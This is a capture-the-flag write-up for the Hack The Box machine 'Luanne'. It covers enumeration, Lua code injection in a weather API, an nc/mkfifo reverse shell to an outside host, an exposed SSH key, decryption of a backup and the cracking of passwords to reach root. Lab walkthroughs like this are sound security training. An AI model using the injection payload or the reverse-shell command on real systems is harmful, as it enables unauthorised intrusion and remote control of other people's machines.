Writeup HTB Luanne
Table of Contents
Luanne⌗
Luanne is categorized as an easy box.
It begins with a lot of enumeration, two webserver and a fishy hidden service.
We leverage the hidden service into RCE in order to get a shell on the system.
We then enumerate and notice another version of the previously exploited service running.
That version of the service is launched using weird options it grants us access to a conveniently placed ssh key, using this key gets us user.
Afterwards, we decrypt an old backup version of the service and find credentials in a config file, these work for the root user.
HTB⌗
For context, every standard box on HTB has two flags, one for the user and one for root, user.txt and root.txt respectively. The hashes in this writeup will no longer be valid since they are changed every time the machine is reset.
NMAP full scan⌗
Host is up (0.029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
THE Os seems to be NetBSD.
NetBSD is a free, fast, secure, and highly portable Unix-like Open Source operating system. It is available for a wide range of platforms, from large-scale servers and powerful desktop systems to handheld and embedded devices.
Services⌗
There is an OpenSSH 8.0 running on port 22.
There is an NGINX 1.19.0 webserver running on port 80.
There is a MEDUSA 1.12 http server running on port 9001.
Enumeration⌗
I Enumerated the high port (9001) extensively without finding anything, I just assumed this would be my target since the webserver name is odd (Medusa/1.12).
It was not kind to me as every single request I tried was blocked behind a basic auth and my efforts to brute force it went nowhere.
I then proceeded to enumerate the lower port and ran nikto on it.
It instantly pointed out that there is a readable robots.txt.
Fetching /weather returns me a 404, at last. Something is not giving me 401 ! Running ffuf on it, I found another folder in there named forecast.
Exploiting FaaS (Forecast as a Service)⌗
On this page we see that this is some kind of API trying to forecast weather for a given number of cities. I proceeded to try the “city” argument and sent that request to my repeater.
I then tried fuzzing the parameters to see what breaks.
I didn’t have to search far as the single quote instantly gave me huge results:
We now know that this service is a lua script, which means that most likely RCE is achievable, let’s get crafting.
Crafting FaaS Request for FootHold⌗
After reading a bit about the lua language, i know these things:
- Command Execution is a one line endeavour => os.execute("/bin/sh")
- Every line closes with semi-colon.
- A comment is “–” when outside of a string.
From the error we get, we can understand that we are within a string, and the single quote is escaping that string.
After a few tries, I also realized that we are within a function call.
Putting it all together we get:
/weather/forecast?city=test');os.execute('RCE');--
What do we get ?
We get RCE, let’s get a reverse shell !!
We can reasonably assume that an OpenBsd nc payload should work since NetBsd is a fork from the bsd family and most likely has the same binaries as its predecessors.
test');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1337 >/tmp/f");--
just like that we are _httpd.
Foothold to User⌗
I should crack this hash that I found in .htpasswd:
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 # PASS: iamthebest
After an hour enumerating, I have found the vector of attack.
After running the command to list processes in bsd systems:
ps -auwx
I found that there is a another version of the vulnerable service on port 3001 instead of port 3000.
It is started using /usr/libexec/httpd.
https://man.netbsd.org/NetBSD-6.0.1/httpd.8
It is running as r.michaels and it seems to be given /home as “slashdir”, I still need to see how this affects my requests.
But I suspect that I will be able to get files from /home/r.michaels given the process' permissions.
Okay so, after a long time carefully reading on bozohttpd’s man pages, I found out that using “~”" will send you to the public_html directory for the webserver.
In our case it is located in /home/public_html most likely, given the man page.
This is what I came up with to test the theory:
curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
I started enumerating using that formula, I know it is redirecting me to a directory since it gives us “Document Moved” instead of 404:
I then tried a bunch of files I thought could be in there.
- user.txt
- .profile
- .htpasswd
- creds.txt
- id_rsa
And with that we struck gold, we got an openssh private key.
Using this I can login as r.michaels.
I must say the placement of this key feels a tiny bit unrealistically bad and I kind of dislike that.
But let’s move on.
ssh -i id_rsa r.michaels@luanne.htb
ea5f0ce6a917b0be1eabc7f9218febc0 //user.txt
Root⌗
Early on in my search, I stumbled on a file called devel-backups-timestamp.tar.gz.enc.
The .enc extension is normally used by files encrypted using openssl.
So I tried decrypting it with a bunch of passwords we found:
- iamthebest
- 123
- the private key we found
It just wasn’t working.
After reading on NetBsd a bit, I found the netpgp utility.
It is a BSD version of the OpenPGP SDK.
It can decrypt the encrypted file using the private ssh key that we used to connect as the user.
Using this gave me the .tar.gz, after unarchiving it I found another development version of the weather api.
Looking through the files I found the .htpasswd for this version.
I used john the ripper in order to crack the found hash.
This gave me the password which is “littlebear”.
The password worked for the root user of this machine !
7a9b5c206e8e8ba09bb99bd113675f66 //root.txt
Box impression⌗
This box overall was fun, i really enjoyed the foothold.
I like the user but i would have liked it better if the files we found made more sense than an ssh key placed in a public_html directory.
The root one taught me alot and was interesting but very OS specific.